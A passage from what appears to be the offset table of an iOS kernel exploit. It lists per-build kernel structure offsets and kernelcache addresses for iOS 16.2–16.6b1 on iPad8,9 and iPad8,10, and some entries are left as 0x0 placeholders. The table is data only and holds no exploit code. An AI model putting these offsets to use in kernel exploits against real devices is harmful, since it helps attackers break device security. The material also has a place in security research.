0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,10 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        